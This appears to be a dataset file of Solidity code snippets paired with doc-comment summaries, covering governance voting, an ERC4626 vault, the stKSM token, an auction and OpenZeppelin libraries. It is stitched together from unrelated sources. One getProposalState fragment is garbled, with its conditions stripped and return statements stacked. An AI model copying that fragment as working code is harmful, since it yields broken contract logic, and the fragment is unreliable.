proposalId, uint256 optionBitMask) external override { return _submitVote(msg.sender, proposalId, optionBitMask); } /** * @dev Function to register the vote of user that has voted offchain via signature * @param proposalId id of the proposal * @param optionBitMask the bit mask of voted options * @param v v part of the voter signature * @param r r part of the voter signature * @param s s part of the voter signature **/ function submitVoteBySignature( uint256 proposalId, uint256 optionBitMask, uint8 v, bytes32 r, bytes32 s ) external override { bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(NAME)), getChainId(), address(this)) ), keccak256(abi.encode(VOTE_EMITTED_TYPEHASH, proposalId, optionBitMask)) ) ); address signer = ecrecover(digest, v, r, s); require(signer != address(0), 'invalid signature'); return _submitVote(signer, proposalId, optionBitMask); } /** * @dev Function to handle voting power changed for a voter * caller must be the voting power strategy of the proposal * @param voter address that has changed the voting power * @param newVotingPower new voting power of that address, * old voting power can be taken from records * @param proposalIds list proposal ids that belongs to this voting power strategy * should update the voteCound of the active proposals in the list **/ function handleVotingPowerChanged( address voter, uint256 newVotingPower, uint256[] calldata proposalIds ) external override { uint224 safeNewVotingPower = _safeUint224(newVotingPower); for (uint256 i = 0; i < proposalIds.length; i++) { // only update for active proposals if (getProposalState(proposalIds[i]) != ProposalState.Active) continue; ProposalWithoutVote storage proposal = _proposals[proposalIds[i]].proposalData; require(address(proposal.strategy) == msg.sender, 'invalid voting power strategy'); Vote memory vote = _proposals[proposalIds[i]].votes[voter]; if (vote.optionBitMask == 0) continue; // not voted yet uint256 oldVotingPower = uint256(vote.votingPower); // update totalVotes of the proposal proposal.totalVotes = proposal.totalVotes.add(newVotingPower).sub(oldVotingPower); for (uint256 j = 0; j < proposal.options.length; j++) { if (vote.optionBitMask & (2**j) == 2**j) { // update voteCounts for each voted option proposal.voteCounts[j] = proposal.voteCounts[j].add(newVotingPower).sub(oldVotingPower); } } // update voting power of the voter _proposals[proposalIds[i]].votes[voter].votingPower = safeNewVotingPower; emit VotingPowerChanged( proposalIds[i], voter, vote.optionBitMask, vote.votingPower, safeNewVotingPower ); } } /** * @dev Transfer dao operator * @param newDaoOperator new dao operator **/ function transferDaoOperator(address newDaoOperator) external { require(msg.sender == _daoOperator, 'only dao operator'); require(newDaoOperator != address(0), 'invalid dao operator'); _daoOperator = newDaoOperator; emit DaoOperatorTransferred(newDaoOperator); } /** * @dev Add new addresses to the list of authorized executors * @param executors list of new addresses to be authorized executors **/ function authorizeExecutors(address[] memory executors) public override onlyAdmin { _authorizeExecutors(executors); } /** * @dev Remove addresses to the list of authorized executors * @param executors list of addresses to be removed as authorized executors **/ function unauthorizeExecutors(address[] memory executors) public override onlyAdmin { _unauthorizeExecutors(executors); } /** * @dev Add new addresses to the list of authorized strategies * @param strategies list of new addresses to be authorized strategies **/ function authorizeVotingPowerStrategies(address[] memory strategies) public override onlyAdmin { _authorizeVotingPowerStrategies(strategies); } /** * @dev Remove addresses to the list of authorized strategies * @param strategies list of addresses to be removed as authorized strategies **/ function unauthorizeVotingPowerStrategies(address[] memory strategies) public override onlyAdmin { _unauthorizedVotingPowerStrategies(strategies); } /** * @dev Returns whether an address is an authorized executor * @param executor address to evaluate as authorized executor * @return true if authorized **/ function isExecutorAuthorized(address executor) public override view returns (bool) { return _authorizedExecutors[executor]; } /** * @dev Returns whether an address is an authorized strategy * @param strategy address to evaluate as authorized strategy * @return true if authorized **/ function isVotingPowerStrategyAuthorized(address strategy) public override view returns (bool) { return _authorizedVotingPowerStrategies[strategy]; } /** * @dev Getter the address of the daoOperator, that can mainly cancel proposals * @return The address of the daoOperator **/ function getDaoOperator() external override view returns (address) { return _daoOperator; } /** * @dev Getter of the proposal count (the current number of proposals ever created) * @return the proposal count **/ function getProposalsCount() external override view returns (uint256) { return _proposalsCount; } /** * @dev Getter of a proposal by id * @param proposalId id of the proposal to get * @return the proposal as ProposalWithoutVote memory object **/ function getProposalById(uint256 proposalId) external override view returns (ProposalWithoutVote memory) { return _proposals[proposalId].proposalData; } /** * @dev Getter of the vote data of a proposal by id * including totalVotes, voteCounts and options * @param proposalId id of the proposal * @return (totalVotes, voteCounts, options) **/ function getProposalVoteDataById(uint256 proposalId) external override view returns ( uint256, uint256[] memory, string[] memory ) { ProposalWithoutVote storage proposal = _proposals[proposalId].proposalData; return (proposal.totalVotes, proposal.voteCounts, proposal.options); } /** * @dev Getter of the Vote of a voter about a proposal * Note: Vote is a struct: ({uint32 bitOptionMask, uint224 votingPower}) * @param proposalId id of the proposal * @param voter address of the voter * @return The associated Vote memory object **/ function getVoteOnProposal(uint256 proposalId, address voter) external override view returns (Vote memory) { return _proposals[proposalId].votes[voter]; } /** * @dev Get the current state of a proposal * @param proposalId id of the proposal * @return The current state if the proposal **/ function getProposalState(uint256 proposalId) public override view returns (ProposalState) { require(proposalId < _proposalsCount, 'invalid proposal id'); ProposalWithoutVote storage proposal = _proposals[proposalId].proposalData; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.timestamp < proposal.startTime) { return ProposalState.Pending; } else if (block.timestamp <= proposal.endTime) { return ProposalState.Active; } else if (proposal.proposalType == ProposalType.Generic) { return ProposalState.Finalized; } else if ( !IProposalValidator(address(proposal.executor)).isBinaryProposalPassed( IKyberGovernance(this), proposalId ) ) { return ProposalState.Failed; } else if (proposal.executionTime == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (proposal.executor.isProposalOverGracePeriod(this, proposalId)) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function _queueOrRevert( IExecutorWithTimelock executor, address target, uint256 value, string memory signature, bytes memory callData, uint256 executionTime, bool withDelegatecall ) internal { require( !executor.isActionQueued( keccak256(abi.encode(target, value, signature, callData, executionTime, withDelegatecall)) ), 'duplicated action' ); executor.queueTransaction(target, value, signature, callData, executionTime, withDelegatecall); } function _submitVote( address voter, uint256 proposalId, uint256 optionBitMask ) internal { require(proposalId < _proposalsCount, 'invalid proposal id'); require(getProposalState(proposalId) == ProposalState.Active, 'voting closed'); ProposalWithoutVote storage proposal = _proposals[proposalId].proposalData; uint256 numOptions = proposal.options.length; if (proposal.proposalType == ProposalType.Binary) { // either Yes (1) or No (2) require(optionBitMask == 1 || optionBitMask == 2, 'wrong vote for binary proposal'); } else { require( optionBitMask > 0 && optionBitMask < 2**numOptions, 'invalid options for generic proposal' ); } Vote memory vote = _proposals[proposalId].votes[voter]; uint256 votingPower = proposal.strategy.handleVote(voter, proposalId, optionBitMask); if (vote.optionBitMask == 0) { // first time vote, increase the totalVotes of the proposal proposal.totalVotes = proposal.totalVotes.add(votingPower); } for (uint256 i = 0; i < proposal.options.length; i++) { bool hasVoted = (vote.optionBitMask & (2**i)) == 2**i; bool isVoting = (optionBitMask & (2**i)) == 2**i; if (hasVoted && !isVoting) { proposal.voteCounts[i] = proposal.voteCounts[i].sub(votingPower); } else if (!hasVoted && isVoting) { proposal.voteCounts[i] = proposal.voteCounts[i].add(votingPower); } } _proposals[proposalId].votes[voter] = Vote({ optionBitMask: _safeUint32(optionBitMask), votingPower: _safeUint224(votingPower) }); emit VoteEmitted(proposalId, voter, _safeUint32(optionBitMask), _safeUint224(votingPower)); } function _authorizeExecutors(address[] memory executors) internal { for(uint256 i = 0; i < executors.length; i++) { _authorizedExecutors[executors[i]] = true; emit ExecutorAuthorized(executors[i]); } } function _unauthorizeExecutors(address[] memory executors) internal { for(uint256 i = 0; i < executors.length; i++) { _authorizedExecutors[executors[i]] = false; emit ExecutorUnauthorized(executors[i]); } } function _authorizeVotingPowerStrategies(address[] memory strategies) internal { for(uint256 i = 0; i < strategies.length; i++) { _authorizedVotingPowerStrategies[strategies[i]] = true; emit VotingPowerStrategyAuthorized(strategies[i]); } } function _unauthorizedVotingPowerStrategies(address[] memory strategies) internal { for(uint256 i = 0; i < strategies.length; i++) { _authorizedVotingPowerStrategies[strategies[i]] = false; emit VotingPowerStrategyUnauthorized(strategies[i]); } } function _safeUint224(uint256 value) internal pure returns (uint224) { require(value < 2**224 - 1, 'value is too big (uint224)'); return uint224(value); } function _safeUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32 - 1, 'value is too big (uint32)'); return uint32(value); } }
Get the current state of a proposal proposalId id of the proposal return The current state if the proposal/
function getProposalState(uint256 proposalId) public override view returns (ProposalState) { require(proposalId < _proposalsCount, 'invalid proposal id'); ProposalWithoutVote storage proposal = _proposals[proposalId].proposalData; if (proposal.canceled) { return ProposalState.Canceled; return ProposalState.Pending; return ProposalState.Active; return ProposalState.Finalized; } else if ( !IProposalValidator(address(proposal.executor)).isBinaryProposalPassed( IKyberGovernance(this), proposalId ) ) { return ProposalState.Failed; return ProposalState.Succeeded; return ProposalState.Executed; return ProposalState.Expired; return ProposalState.Queued; } }
5,428,164
./full_match/5/0x4cDc11e8B5294DC4902bD95a7Fb78Fb7e81B466c/sources/project_/contracts/BookDatabase.sol
testar se o livro existe. O delete não verifica, apenas não faz nada.decrementa a quantidade de livros existente
function removeBook(uint32 id) public restricted { if(books[id].year > 0) { delete books[id]; count--; } }
7,077,213
./partial_match/1/0x68FD40FB0713a35627C98ba9549c7cCed73827F9/sources/contracts/libs/ERC4626Upgradeable.sol
Internal conversion function (from assets to shares) with support for rounding direction. Will revert if assets > 0, totalSupply > 0 and totalAssets = 0. That corresponds to a case where any asset would represent an infinite amount of shares./
function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256 shares) { uint256 supply = totalSupply(); return (assets == 0 || supply == 0) ? _initialConvertToShares(assets, rounding) : assets.mulDiv(supply, totalAssets(), rounding); }
15,606,860
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; abstract contract stKSM is IERC20, Pausable { /** * @dev stKSM balances are dynamic and are calculated based on the accounts' shares * and the total amount of KSM controlled by the protocol. Account shares aren't * normalized, so the contract also stores the sum of all shares to calculate * each account's token balance which equals to: * * shares[account] * _getTotalPooledKSM() / _getTotalShares() */ mapping (address => uint256) private shares; /** * @dev Allowances are nominated in tokens, not token shares. */ mapping (address => mapping (address => uint256)) private allowances; /** * @dev Storage position used for holding the total amount of shares in existence. */ uint256 internal totalShares; /** * @return the amount of tokens in existence. * * @dev Always equals to `_getTotalPooledKSM()` since token amount * is pegged to the total amount of KSM controlled by the protocol. */ function totalSupply() public view override returns (uint256) { return _getTotalPooledKSM(); } /** * @return the entire amount of KSMs controlled by the protocol. * * @dev The sum of all KSM balances in the protocol. */ function getTotalPooledKSM() public view returns (uint256) { return _getTotalPooledKSM(); } /** * @return the amount of tokens owned by the `_account`. * * @dev Balances are dynamic and equal the `_account`'s share in the amount of the * total KSM controlled by the protocol. See `sharesOf`. */ function balanceOf(address _account) public view override returns (uint256) { return getPooledKSMByShares(_sharesOf(_account)); } /** * @notice Moves `_amount` tokens from the caller's account to the `_recipient` account. * * @return a boolean value indicating whether the operation succeeded. * Emits a `Transfer` event. * * Requirements: * * - `_recipient` cannot be the zero address. * - the caller must have a balance of at least `_amount`. * - the contract must not be paused. * * @dev The `_amount` argument is the amount of tokens, not shares. */ function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(msg.sender, _recipient, _amount); return true; } /** * @return the remaining number of tokens that `_spender` is allowed to spend * on behalf of `_owner` through `transferFrom`. This is zero by default. * * @dev This value changes when `approve` or `transferFrom` is called. */ function allowance(address _owner, address _spender) public view override returns (uint256) { return allowances[_owner][_spender]; } /** * @notice Sets `_amount` as the allowance of `_spender` over the caller's tokens. * * @return a boolean value indicating whether the operation succeeded. * Emits an `Approval` event. * * Requirements: * * - `_spender` cannot be the zero address. * - the contract must not be paused. * * @dev The `_amount` argument is the amount of tokens, not shares. */ function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(msg.sender, _spender, _amount); return true; } /** * @notice Moves `_amount` tokens from `_sender` to `_recipient` using the * allowance mechanism. `_amount` is then deducted from the caller's * allowance. * * @return a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `_sender` and `_recipient` cannot be the zero addresses. * - `_sender` must have a balance of at least `_amount`. * - the caller must have allowance for `_sender`'s tokens of at least `_amount`. * - the contract must not be paused. * * @dev The `_amount` argument is the amount of tokens, not shares. */ function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { uint256 currentAllowance = allowances[_sender][msg.sender]; require(currentAllowance >= _amount, "TRANSFER_AMOUNT_EXCEEDS_ALLOWANCE"); _transfer(_sender, _recipient, _amount); _approve(_sender, msg.sender, currentAllowance -_amount); return true; } /** * @notice Atomically increases the allowance granted to `_spender` by the caller by `_addedValue`. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol#L42 * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the the zero address. * - the contract must not be paused. */ function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) { _approve(msg.sender, _spender, allowances[msg.sender][_spender] + _addedValue); return true; } /** * @notice Atomically decreases the allowance granted to `_spender` by the caller by `_subtractedValue`. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol#L42 * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the zero address. * - `_spender` must have allowance for the caller of at least `_subtractedValue`. * - the contract must not be paused. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 currentAllowance = allowances[msg.sender][_spender]; require(currentAllowance >= _subtractedValue, "DECREASED_ALLOWANCE_BELOW_ZERO"); _approve(msg.sender, _spender, currentAllowance-_subtractedValue); return true; } /** * @return the total amount of shares in existence. * * @dev The sum of all accounts' shares can be an arbitrary number, therefore * it is necessary to store it in order to calculate each account's relative share. */ function getTotalShares() public view returns (uint256) { return _getTotalShares(); } /** * @return the amount of shares owned by `_account`. */ function sharesOf(address _account) public view returns (uint256) { return _sharesOf(_account); } /** * @return the amount of shares that corresponds to `_ethAmount` protocol-controlled KSM. */ function getSharesByPooledKSM(uint256 _amount) public view returns (uint256) { uint256 totalPooledKSM = _getTotalPooledKSM(); if (totalPooledKSM == 0) { return 0; } else { return _amount * _getTotalShares() / totalPooledKSM; } } /** * @return the amount of KSM that corresponds to `_sharesAmount` token shares. */ function getPooledKSMByShares(uint256 _sharesAmount) public view returns (uint256) { uint256 _totalShares = _getTotalShares(); if (totalShares == 0) { return 0; } else { return _sharesAmount * _getTotalPooledKSM() / _totalShares; } } /** * @return the total amount (in wei) of KSM controlled by the protocol. * @dev This is used for calaulating tokens from shares and vice versa. * @dev This function is required to be implemented in a derived contract. */ function _getTotalPooledKSM() internal view virtual returns (uint256); /** * @notice Moves `_amount` tokens from `_sender` to `_recipient`. * Emits a `Transfer` event. */ function _transfer(address _sender, address _recipient, uint256 _amount) internal { uint256 _sharesToTransfer = getSharesByPooledKSM(_amount); _transferShares(_sender, _recipient, _sharesToTransfer); emit Transfer(_sender, _recipient, _amount); } /** * @notice Sets `_amount` as the allowance of `_spender` over the `_owner` s tokens. * * Emits an `Approval` event. * * Requirements: * * - `_owner` cannot be the zero address. * - `_spender` cannot be the zero address. * - the contract must not be paused. */ function _approve(address _owner, address _spender, uint256 _amount) internal whenNotPaused { require(_owner != address(0), "APPROVE_FROM_ZERO_ADDRESS"); require(_spender != address(0), "APPROVE_TO_ZERO_ADDRESS"); allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } /** * @return the total amount of shares in existence. */ function _getTotalShares() internal view returns (uint256) { return totalShares; } /** * @return the amount of shares owned by `_account`. */ function _sharesOf(address _account) internal view returns (uint256) { return shares[_account]; } /** * @notice Moves `_sharesAmount` shares from `_sender` to `_recipient`. * * Requirements: * * - `_sender` cannot be the zero address. * - `_recipient` cannot be the zero address. * - `_sender` must hold at least `_sharesAmount` shares. * - the contract must not be paused. */ function _transferShares(address _sender, address _recipient, uint256 _sharesAmount) internal whenNotPaused { require(_sender != address(0), "TRANSFER_FROM_THE_ZERO_ADDRESS"); require(_recipient != address(0), "TRANSFER_TO_THE_ZERO_ADDRESS"); uint256 currentSenderShares = shares[_sender]; require(_sharesAmount <= currentSenderShares, "TRANSFER_AMOUNT_EXCEEDS_BALANCE"); shares[_sender] = currentSenderShares - _sharesAmount; shares[_recipient] = shares[_recipient] + _sharesAmount; } /** * @notice Creates `_sharesAmount` shares and assigns them to `_recipient`, increasing the total amount of shares. * @dev This doesn't increase the token total supply. * * Requirements: * * - `_recipient` cannot be the zero address. * - the contract must not be paused. */ function _mintShares(address _recipient, uint256 _sharesAmount) internal whenNotPaused returns (uint256 newTotalShares) { require(_recipient != address(0), "MINT_TO_THE_ZERO_ADDRESS"); newTotalShares = _getTotalShares() + _sharesAmount; totalShares = newTotalShares; shares[_recipient] = shares[_recipient] + _sharesAmount; // Notice: we're not emitting a Transfer event from the zero address here since shares mint // works by taking the amount of tokens corresponding to the minted shares from all other // token holders, proportionally to their share. The total supply of the token doesn't change // as the result. This is equivalent to performing a send from each other token holder's // address to `address`, but we cannot reflect this as it would require sending an unbounded // number of events. } /** * @notice Destroys `_sharesAmount` shares from `_account`'s holdings, decreasing the total amount of shares. * @dev This doesn't decrease the token total supply. * * Requirements: * * - `_account` cannot be the zero address. * - `_account` must hold at least `_sharesAmount` shares. * - the contract must not be paused. */ function _burnShares(address _account, uint256 _sharesAmount) internal whenNotPaused returns (uint256 newTotalShares) { require(_account != address(0), "BURN_FROM_THE_ZERO_ADDRESS"); uint256 accountShares = shares[_account]; require(_sharesAmount <= accountShares, "BURN_AMOUNT_EXCEEDS_BALANCE"); newTotalShares = _getTotalShares() - _sharesAmount; totalShares = newTotalShares; shares[_account] = accountShares - _sharesAmount; // Notice: we're not emitting a Transfer event to the zero address here since shares burn // works by redistributing the amount of tokens corresponding to the burned shares between // all other token holders. The total supply of the token doesn't change as the result. // This is equivalent to performing a send from `address` to each other token holder address, // but we cannot reflect this as it would require sending an unbounded number of events. } }
return the amount of shares owned by `_account`./
function sharesOf(address _account) public view returns (uint256) { return _sharesOf(_account); }
2,510,482
./full_match/1/0x88ed3B8D03e5a70Bf23286872b24cFFd76e91922/sources/src/Chief.sol
Executes pause state changes. vaults to change pause state data encoded data containing pause or unpause commands./
function _changePauseState(IPausableVault[] memory vaults, bytes memory data) internal { uint256 alength = vaults.length; for (uint256 i; i < alength;) { address(vaults[i]).functionCall(data, ": pause call failed"); unchecked { ++i; } } }
17,056,404
./full_match/1/0xEaE4B88C1fb5530eDcf6B45aA19cdC84BAde18BB/sources/contracts/BucketAuction.sol
get the number of tokens purchased by an address, after the clearing price has been set. a address to query./
function amountPurchased(address a) public view returns (uint256) { if (_price == 0) revert PriceNotSet(); return _userData[a].contribution / _price; }
17,118,100
/** *Submitted for verification at Etherscan.io on 2022-05-01 */ // Sources flattened with hardhat v2.9.3 https://hardhat.org // File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected] // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/[email protected] // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts-upgradeable/utils/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks 